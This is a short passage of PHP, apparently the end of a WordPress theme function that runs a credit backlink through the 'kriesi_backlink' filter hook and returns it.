$link = apply_filters("kriesi_backlink", $link);
return $link;
}
}